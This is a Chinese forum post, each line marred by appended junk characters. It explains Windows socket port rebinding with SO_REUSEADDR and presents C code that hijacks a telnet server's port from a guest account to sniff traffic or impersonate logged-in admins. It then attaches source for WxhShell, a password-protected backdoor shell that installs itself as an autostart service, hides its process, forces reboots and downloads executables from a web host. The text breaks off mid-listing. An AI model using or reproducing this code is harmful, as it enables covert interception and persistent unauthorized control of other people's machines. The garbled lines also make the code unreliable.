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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }u:@:}8K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +dq&9N/  
q4'szDYO2  
  saddr.sin_family = AF_INET; r1b{G%;mJ  
;wwhW|A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8!2NZOZOS  
9\ZlRYnc=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pz7{dQqjk#  
%K8Ei/p\t]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DXu#07\  
.lAqD-  
  这意味着什么?意味着可以进行如下的攻击: _ +[;NBz  
dP63bV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uCO-f<b  
<aR9,:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u>o<u a p  
s\y+ xa:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z 6KM%R  
GjN/8>/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R_ymTB}<t(  
^ cpQ*Fz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s kC*  
4scY 8(1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G8dC5+h  
,e$]jC<sv2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FDBj<uXfM|  
ts%XjCN[  
  #include c]LE9<G  
  #include <wWZ]P 2]  
  #include qp3J/(F  
  #include    nt. A X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &?UIe]  
  int main() -x)Oo`  
  { Xu\FcQ{  
  WORD wVersionRequested; 12qX[39/  
  DWORD ret; BwMi@r =  
  WSADATA wsaData; s\2t|d   
  BOOL val; T9w;4XF  
  SOCKADDR_IN saddr; eH,r%r,  
  SOCKADDR_IN scaddr; xj`ni G  
  int err; .|W0B+Z8  
  SOCKET s; !iUFD*~r~  
  SOCKET sc;  2f>G   
  int caddsize; "[M,PI!B  
  HANDLE mt; Gu[G_^>  
  DWORD tid;   lz=$Dz  
  wVersionRequested = MAKEWORD( 2, 2 ); L A &W@  
  err = WSAStartup( wVersionRequested, &wsaData ); -kFEVJbUyc  
  if ( err != 0 ) { WO$9Svh8  
  printf("error!WSAStartup failed!\n"); M"# >?6{  
  return -1; x&}pM}ea  
  } "2} {lu  
  saddr.sin_family = AF_INET; <%w)EQf4m  
   qd$Y"~Mco  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eGcc'LBr;  
F]o&m::/K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K8`Jl=}z%&  
  saddr.sin_port = htons(23); [ u7p:?WDW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F/,K8<|r>  
  { )y>o;^5'  
  printf("error!socket failed!\n"); xPMTmx?2  
  return -1; v0uDL7  
  } Mh [TZfV  
  val = TRUE; IIrh|>d_7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4@ EY+p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eaLR-+vEB  
  { (Z(O7X(/  
  printf("error!setsockopt failed!\n"); U8TH}9Q  
  return -1; ~nYp*t C'  
  } BkywYCWZ )  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |dNJx<-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t8SvU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]^aOYtKX  
B-'oB>|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (=#[om( A  
  { u\-WArntc  
  ret=GetLastError(); ueI1O/Mi  
  printf("error!bind failed!\n"); Su" 9`  
  return -1; .Ukejx  
  } | e{F;8  
  listen(s,2); t6-He~  
  while(1) fKEZlrw  
  { ]?KTw8j}  
  caddsize = sizeof(scaddr); lO^Ly27  
  //接受连接请求 }/)vOUcEd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2stBW5v3  
  if(sc!=INVALID_SOCKET) 2J7= O^$?  
  { cyYsz'i m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %#5\^4$z|N  
  if(mt==NULL) X}"Ic@8  
  { "rxhS; R1>  
  printf("Thread Creat Failed!\n"); 7oUecyoj  
  break; kp F")0qr  
  } R`M>w MLH  
  } bEO\oS  
  CloseHandle(mt); ]M^ k~Xa  
  } G@$Y6To[  
  closesocket(s); bogw/)1  
  WSACleanup(); iYbp^iVg  
  return 0; GM]" $  
  }   %Xe#'qNq)  
  DWORD WINAPI ClientThread(LPVOID lpParam) BY*{j&^  
  { ^(}D  
  SOCKET ss = (SOCKET)lpParam; bcx,K b  
  SOCKET sc; ZiR },F/  
  unsigned char buf[4096]; ai,\'%N  
  SOCKADDR_IN saddr; &8=wkG%  
  long num; )y~FeKh  
  DWORD val; ]0[Gc \h}  
  DWORD ret; V2Iq k]V%y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FKYPkFB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7Iz%Jty  
  saddr.sin_family = AF_INET; d7, ZpHt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (RXOv"''=  
  saddr.sin_port = htons(23); ~7CQw^"R@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \!-IY  
  { kSL7WQe?j  
  printf("error!socket failed!\n"); ,=TY:U;?  
  return -1; U%.%:'eV=  
  } oe (})M  
  val = 100; \\ZR~f!<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rgstk/1  
  { 0`WjM2So  
  ret = GetLastError(); tO?NbWcp  
  return -1; Rs$fNW@P  
  } e6G=Bq$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c#)!-5E~H  
  { , )&ansN  
  ret = GetLastError(); /#<R  
  return -1; V(gmC%6%l*  
  } X667*L^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q:L^DZkGV  
  { ig-V^P  
  printf("error!socket connect failed!\n"); T[?wbYfW  
  closesocket(sc); ""~b1kEt  
  closesocket(ss); W|2o^ V  
  return -1; u& 4i=K'x8  
  } )GT*HJR(vc  
  while(1) g3V bP  
  { .Iu8bN(L`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0f_+h %%=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5{zmuv:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \C{Dui) F  
  num = recv(ss,buf,4096,0); ,0hk)Vvr3  
  if(num>0) _DDknQP  
  send(sc,buf,num,0); c[IT?6J4  
  else if(num==0) ol[sX=5 *  
  break; UO1WtQyu,H  
  num = recv(sc,buf,4096,0); FR BW(vKE  
  if(num>0)  v|K,  
  send(ss,buf,num,0); :D|5E>o(  
  else if(num==0) W?>C$_p C  
  break; wo#,c(  
  } v[7iWBqJ  
  closesocket(ss); s'7PHP)LOJ  
  closesocket(sc); ?IN'Dc9&%-  
  return 0 ; 24g\x Nnt  
  } :CeK 'A\  
&b__ /o  
nE&`~  
========================================================== TmS-w  
4Eri]O Ri  
下边附上一个代码,,WXhSHELL KD<smwXjG  
4ZUTF3  
========================================================== 2\4ammwT  
=%)Y, )"  
#include "stdafx.h" =~DQX\  
7:M`k#oDP  
#include <stdio.h> x>]14 bLz  
#include <string.h> VxP cC+  
#include <windows.h> yv;KKQ   
#include <winsock2.h> wB(X(nr  
#include <winsvc.h> ?5IF;vk  
#include <urlmon.h> ]Pp}=hcD  
f,}(= u  
#pragma comment (lib, "Ws2_32.lib") a23XrX  
#pragma comment (lib, "urlmon.lib") bo-AM]  
UR|Au'iu  
#define MAX_USER   100 // 最大客户端连接数 sk%Xf,  
#define BUF_SOCK   200 // sock buffer 69"4/n7B?  
#define KEY_BUFF   255 // 输入 buffer u\y$<  
3LkcK1x.  
#define REBOOT     0   // 重启 =#Z+WD-E  
#define SHUTDOWN   1   // 关机 o*t4zF&n  
j&N {j_ M  
#define DEF_PORT   5000 // 监听端口 QomihQnc  
: MEB] }  
#define REG_LEN     16   // 注册表键长度 /ucS*m:<x  
#define SVC_LEN     80   // NT服务名长度 u]z87#4  
PY@BgL=/  
// 从dll定义API 5Ic'6AIz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sU$<v( `"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #iiXJnG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ufi:aE=}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5%jy7)8C  
n~Yr`5+Z  
// wxhshell配置信息 Z}AhDIw!G  
struct WSCFG { rJM/.;Ag  
  int ws_port;         // 监听端口 b|DiU}  
  char ws_passstr[REG_LEN]; // 口令 e~ZxDAd  
  int ws_autoins;       // 安装标记, 1=yes 0=no *-';ycOvr  
  char ws_regname[REG_LEN]; // 注册表键名 "?M)2,:A  
  char ws_svcname[REG_LEN]; // 服务名 ~(;HkT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |V&E q>G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -`A+Qp)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W]oILL"d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  8+,I(+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 47=YP0r?>T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6QYHPz  
"(YfvO+  
}; #z5$_z?_  
4M )oA|1w  
// default Wxhshell configuration 7PW7&]-WQ  
struct WSCFG wscfg={DEF_PORT, Pr_DMu  
    "xuhuanlingzhe", _B?Hw[cc  
    1, VZ]}9k  
    "Wxhshell", o}=c (u  
    "Wxhshell", D=jtXQF  
            "WxhShell Service", 0B]c`$"aD  
    "Wrsky Windows CmdShell Service", |%g)H,6c  
    "Please Input Your Password: ", ]Om;bmwt  
  1, DP.Y <V)B  
  "http://www.wrsky.com/wxhshell.exe", 6n:oEXM>  
  "Wxhshell.exe" ILIv43QKM(  
    }; Y_FQB K U  
4g)$(5jI}  
// 消息定义模块 W) ?s''WE;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GD1L6kVd1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2[CHiB*>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rM`z2*7%d  
char *msg_ws_ext="\n\rExit."; H-qbgd6&>R  
char *msg_ws_end="\n\rQuit."; jfU$qo!gi  
char *msg_ws_boot="\n\rReboot..."; 717OzrF}A?  
char *msg_ws_poff="\n\rShutdown..."; ~[Z(6yX  
char *msg_ws_down="\n\rSave to "; "uP~hFA7M  
JYR^k=  
char *msg_ws_err="\n\rErr!"; =bOMtQ]  
char *msg_ws_ok="\n\rOK!"; 13p.dp`  
8K9RA<  
char ExeFile[MAX_PATH]; Ww0dU_  
int nUser = 0; =>- W!Of  
HANDLE handles[MAX_USER]; 8I7JsCj  
int OsIsNt; s[;1?+EI  
"9IR|  
SERVICE_STATUS       serviceStatus; Rxq4Diq5k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gbu*6&j9  
~IFafAO&  
// 函数声明 f C+tu>=  
int Install(void); #!C|~=  
int Uninstall(void); 5^N y6t  
int DownloadFile(char *sURL, SOCKET wsh); OyQ[}w3o|  
int Boot(int flag); ~cf)wrP  
void HideProc(void); K?u:-QX^  
int GetOsVer(void); &],O\TAul  
int Wxhshell(SOCKET wsl); Jow{7@FG  
void TalkWithClient(void *cs); D^S"6v" z  
int CmdShell(SOCKET sock); (@NW2  
int StartFromService(void); $+ORq3  
int StartWxhshell(LPSTR lpCmdLine); qu0 q LM  
i(4.7{*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y/>Nx7C0=2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BKK@_B"  
mGo NT  
// 数据结构和表定义 63'L58O  
SERVICE_TABLE_ENTRY DispatchTable[] = 5R6QZVc  
{ NNBT.k3)  
{wscfg.ws_svcname, NTServiceMain}, nK`H;k  
{NULL, NULL} U45-R -  
}; Pf~0JNnc  
*G[` T%g  
// 自我安装 `_x#`%!#2  
int Install(void) mr,G H x  
{ +hcJ!$J7  
  char svExeFile[MAX_PATH]; X([@}ren  
  HKEY key; 75iudki  
  strcpy(svExeFile,ExeFile); 2RdpVNx\y  
tILnD1q  
// 如果是win9x系统,修改注册表设为自启动 CdKs+x&tZ  
if(!OsIsNt) { TA+#{q+a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SduUXHk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f\;f&GI  
  RegCloseKey(key); v}<z_i5/C.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y\:,.cZ+TQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p7L6~IN  
  RegCloseKey(key); Yc5<Y-W  
  return 0; Pk5 %lu  
    } RN$q,f[#  
  } MEOfVh  
} r;O?`~2'4  
else { M"foP@  
Pr,C)uch  
// 如果是NT以上系统,安装为系统服务 _MTvNs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q)PSHr=Z  
if (schSCManager!=0) 2<*Yq 8  
{ mhF@S@  
  SC_HANDLE schService = CreateService y2PxC. -  
  ( &zPM# Q  
  schSCManager, u1|v3/Q-  
  wscfg.ws_svcname, qv`:o `  
  wscfg.ws_svcdisp, &{8[I3#@  
  SERVICE_ALL_ACCESS, ^y~oXS(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I]B9+Z?xo  
  SERVICE_AUTO_START, _k5$.f:Yj<  
  SERVICE_ERROR_NORMAL, \5b<!Nl  
  svExeFile, =nCV. Wf  
  NULL, &<) _7?  
  NULL, wKJK!P  
  NULL, fN 1:'d  
  NULL, PAiVUGp5[  
  NULL NJKk\RM@7  
  ); akQb%Wq  
  if (schService!=0) V3_qqz}`r  
  { 5;[0Q  
  CloseServiceHandle(schService); Xm6M s<z6  
  CloseServiceHandle(schSCManager); R=W$3Ue~,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w$749jGx  
  strcat(svExeFile,wscfg.ws_svcname); _X)]/A%@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vIFx'S~D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3ep L'My$  
  RegCloseKey(key); Koz0Xy  
  return 0; ktv{-WG2_  
    } AI .2os*  
  } >Lz2zlZI  
  CloseServiceHandle(schSCManager); *T{KpiuP  
} Ds\f?\Em  
} )EG-xo@X  
xH-} <7  
return 1; 5;9.&f  
} iz-O~T/^  
)Y?E$=M +B  
// 自我卸载 _K~?{".  
int Uninstall(void) +*RpOtss  
{ bL5dCQxty  
  HKEY key; S1!_ IK$m  
os(}X(   
if(!OsIsNt) { / `w'X/'VJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Q!?=JNtQ  
  RegDeleteValue(key,wscfg.ws_regname); n4 Y ]v  
  RegCloseKey(key); }Z`@Z'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *oIKddZh  
  RegDeleteValue(key,wscfg.ws_regname); OmP(&t7  
  RegCloseKey(key); s'@@q  
  return 0; ]j(Ld\:L  
  } :Czvwp{z  
} VE/~tT;  
} 6.4,Qae9E  
else { *OZ O} i  
\g|;7&%l3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YGLR%PYv"  
if (schSCManager!=0) gwYTOs ^  
{ /zV0kW>N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *tT5Zt/&Sr  
  if (schService!=0) St1>J.k_  
  { ,I[A~  
  if(DeleteService(schService)!=0) { 8\Eq(o}7  
  CloseServiceHandle(schService); i4 tW8 Il  
  CloseServiceHandle(schSCManager); 5?|PC.  
  return 0; ::8E?c  
  } CY9`HQ1  
  CloseServiceHandle(schService); FD}>}fLv  
  } ..^,*  
  CloseServiceHandle(schSCManager); k_Edug~B  
} dk2o>jI4;  
} O11.wLNH  
v aaZ  
return 1; upH%-)%'  
} /XW,H0pR  
2qkC{klC^M  
// 从指定url下载文件 4U:+iumy2  
int DownloadFile(char *sURL, SOCKET wsh) >l5JwwG  
{ z~a]dMs"(P  
  HRESULT hr; U 0S}O(Ptr  
char seps[]= "/"; z9KsSlS ^  
char *token; d>7bwG+k  
char *file; g:c @  
char myURL[MAX_PATH]; Th*mm3D6  
char myFILE[MAX_PATH]; %n #^#:   
RrqZ5Gonj  
strcpy(myURL,sURL); 'w7{8^Z2  
  token=strtok(myURL,seps); {EupB?  
  while(token!=NULL) 8|,-P=%t  
  { G,i%:my7  
    file=token; 8 _[f#s`)  
  token=strtok(NULL,seps); Qod2m$>wp}  
  } >Y/1%Hp9  
FJ&zU<E  
GetCurrentDirectory(MAX_PATH,myFILE); ("BFI  
strcat(myFILE, "\\"); x]U (EX`t$  
strcat(myFILE, file); kL qFh<  
  send(wsh,myFILE,strlen(myFILE),0); H\!u5o&}`  
send(wsh,"...",3,0); cjO,#W0&f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [G|2m_  
  if(hr==S_OK) IN]bAd8"  
return 0; 4B}w;d@R  
else P6 G/J-  
return 1; Dy^4^ J5+  
9P)<CD0  
} ?0Ca-T Rz  
f1>^kl3@P  
// 系统电源模块 M>k7 '@G  
int Boot(int flag) w02HSQ  
{ (;h]'I@  
  HANDLE hToken; 5cQBqH]  
  TOKEN_PRIVILEGES tkp; ArU>./)Q  
BmUzsfD  
  if(OsIsNt) { Xc5[d`]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :<IW'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ikRIL2Y  
    tkp.PrivilegeCount = 1; |,&!Q$<un  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RN:#+S(8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *id|za|:k  
if(flag==REBOOT) { FZmYv%J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (^Do#3  
  return 0; 0QIocha  
} emS+%6U  
else { k*c:%vC!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NI s4v(!  
  return 0; @4B2O"z`  
} U w`LWG3T  
  } +msHQk5#$m  
  else { |_2ANWHz  
if(flag==REBOOT) { gkk< -j'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n8G#TQrAE  
  return 0; 5\Y/so=  
} 0_D~n0rq,v  
else { ,n!xzoX_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #-HN[U?Gs  
  return 0; 16G v? I h  
} qryt1~Dq  
} 3Ob"r`  
-;`W"&`ss  
return 1; 4+ k:j=x  
} '7*=m^pc  
UXk8nH  
// win9x进程隐藏模块 }5tn  
void HideProc(void) AYZds >#Q  
{ fF[g%?w  
{M~!?# <K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8:xQPd?3  
  if ( hKernel != NULL ) i)(Q Npv  
  { 'qd")  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]VYl Eqe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -% f DfjP  
    FreeLibrary(hKernel); cT0g, ^&  
  } 3MzY]J y(  
M7> \Qk  
return; iRVLo~  
} %-'U9e KN  
6HqK%(  
// 获取操作系统版本 L2h+[f  
int GetOsVer(void) 99:L#0!.W  
{ }b^lg&$(  
  OSVERSIONINFO winfo; ^c7L!F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Ojt3) fB  
  GetVersionEx(&winfo); sk3 ;;<H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0?h .X= G  
  return 1; J;kbY9e  
  else jw[`_  
  return 0; O46/[{p+8  
} Elq8WtS  
4QVd{  
// 客户端句柄模块 M1M]]fT0ME  
int Wxhshell(SOCKET wsl) 8Z!ea3kAT  
{ K/,lw~>  
  SOCKET wsh; mDmWTq\  
  struct sockaddr_in client; j&mL]'Zy  
  DWORD myID; PYf`a`dH  
db XG?K][  
  while(nUser<MAX_USER) mHMej@  
{ ]1[;A$7  
  int nSize=sizeof(client); XN0Y#l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U+i[r&{gb  
  if(wsh==INVALID_SOCKET) return 1; rh l5r"%  
}Tef;8d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mvh_>-i  
if(handles[nUser]==0) #"M Pe4  
  closesocket(wsh); *j* WE\  
else -ur]k]R  
  nUser++; ~Iu09t|a  
  } D/Wuan?yPN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z,7^dlT  
W*m[t&;  
  return 0; tVcs r  
} mN*P 2 *  
Vwqfn4sx?i  
// 关闭 socket >?'FH +2K  
void CloseIt(SOCKET wsh) R)C+wTG;  
{ :jX~]1hpmA  
closesocket(wsh); >g2B5KY  
nUser--; .-AB o]hf  
ExitThread(0); 31C]TdJ  
} ES2qX]I  
!tdfTf$  
// 客户端请求句柄 *^uj(8U  
void TalkWithClient(void *cs) `IoX'|C[h  
{ zef,*dQY   
& B4U)  
  SOCKET wsh=(SOCKET)cs; w3Ohm7N[  
  char pwd[SVC_LEN]; _2Z3?/Y  
  char cmd[KEY_BUFF]; +*DX(v"BH  
char chr[1]; >cNXB7]E>  
int i,j; -DnK )u\@  
hrD6r=JT<~  
  while (nUser < MAX_USER) { q': wSu u  
<.B s`P  
if(wscfg.ws_passstr) { dL` +^E>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,f+5x]F?m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9gg,Dy  
  //ZeroMemory(pwd,KEY_BUFF); w0!,1 Ry  
      i=0; ]t3"0  
  while(i<SVC_LEN) { g4 X,*H  
#U}U>4'  
  // 设置超时 d/>,U7eS[+  
  fd_set FdRead; ?Q3~n^  
  struct timeval TimeOut; J":9  
  FD_ZERO(&FdRead); Snu;5:R  
  FD_SET(wsh,&FdRead); sJ/e=1*  
  TimeOut.tv_sec=8; }j1Zk4}[x  
  TimeOut.tv_usec=0; 03o3[g?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0?xiGSZV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vWH>k+9&X  
^BX@0"&-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `yZZP   
  pwd=chr[0]; YoJ'=z,e  
  if(chr[0]==0xd || chr[0]==0xa) { *"\Q ~#W  
  pwd=0; m[j3s=Gr  
  break; Z5L1^  
  } ELF`u WG E  
  i++; bl?%:qb.V  
    } )^Pvm  
~,68S^nP)H  
  // 如果是非法用户,关闭 socket jSYg\ Z5!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -<!17jy  
} 1>VS/H`  
p8dn-4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X); Zm7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &;U7/?Q  
Q; /F0JDH  
while(1) { Ch9!AUiR  
+~ Ay h[V  
  ZeroMemory(cmd,KEY_BUFF); O)uM&B=  
1cBhcYv"  
      // 自动支持客户端 telnet标准   xPup?oP >  
  j=0; !<zzP LC  
  while(j<KEY_BUFF) { '5/}MMT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d J:x1j  
  cmd[j]=chr[0]; Q'% o;z*  
  if(chr[0]==0xa || chr[0]==0xd) { _-J@$d%  
  cmd[j]=0; u^zitW!X$  
  break; 4E\ntufo  
  } V55J[s*6!  
  j++; =awO63j>  
    } q)ql]iH  
~hslLUE  
  // 下载文件 m8j-lNu  
  if(strstr(cmd,"http://")) { H#6^-6;/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Pes{uHg  
  if(DownloadFile(cmd,wsh)) oz6+rM6MY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:M*L< +  
  else G=HxD4l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NJf(,Mr*|  
  } ]}7rWs[|1  
  else { pEj^x[b`^  
7b,,%rUd  
    switch(cmd[0]) { 6//FZ:q  
  7E3SvC|M  
  // 帮助 qf`xH"$  
  case '?': { `u\z!x'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !NLvo_[Y  
    break; DsJn#>?Kh  
  } zk'K.! `^  
  // 安装 J.mewD!%z  
  case 'i': { .q`H`(QM  
    if(Install()) S?7V "LF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C<t'f(4s`u  
    else -^4bA<dCCE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ),Ho(%T\  
    break; )_ ^WpyzF1  
    } ^I<T+X+<  
  // 卸载 MJKl]&  
  case 'r': { cYM~IA  
    if(Uninstall()) U+PCvl=x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #C1A5JE&  
    else ,r 2VP\hLh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V.Ba''E7  
    break; ]vQ?]d?>a  
    } $7n#\h  
  // 显示 wxhshell 所在路径 iSr`fQw#  
  case 'p': { Ivt} o_b*  
    char svExeFile[MAX_PATH]; CLY6 YB' R  
    strcpy(svExeFile,"\n\r"); afF+*\xXN  
      strcat(svExeFile,ExeFile); )@bH"  
        send(wsh,svExeFile,strlen(svExeFile),0); +#qt^NO  
    break; Bf:tal6 -M  
    } i<wU.JX&h  
  // 重启 B >u,)  
  case 'b': { MkW1FjdP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,+/9K)X  
    if(Boot(REBOOT)) [Ba2b: l6v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\RSHz  
    else { { LT4u ]#  
    closesocket(wsh); _TOi [G T  
    ExitThread(0); y,v0-o~q  
    } <L/M`(:=k  
    break; Vv]$\`d#  
    } Q5y q"/=[a  
  // 关机 e-iYJ?  
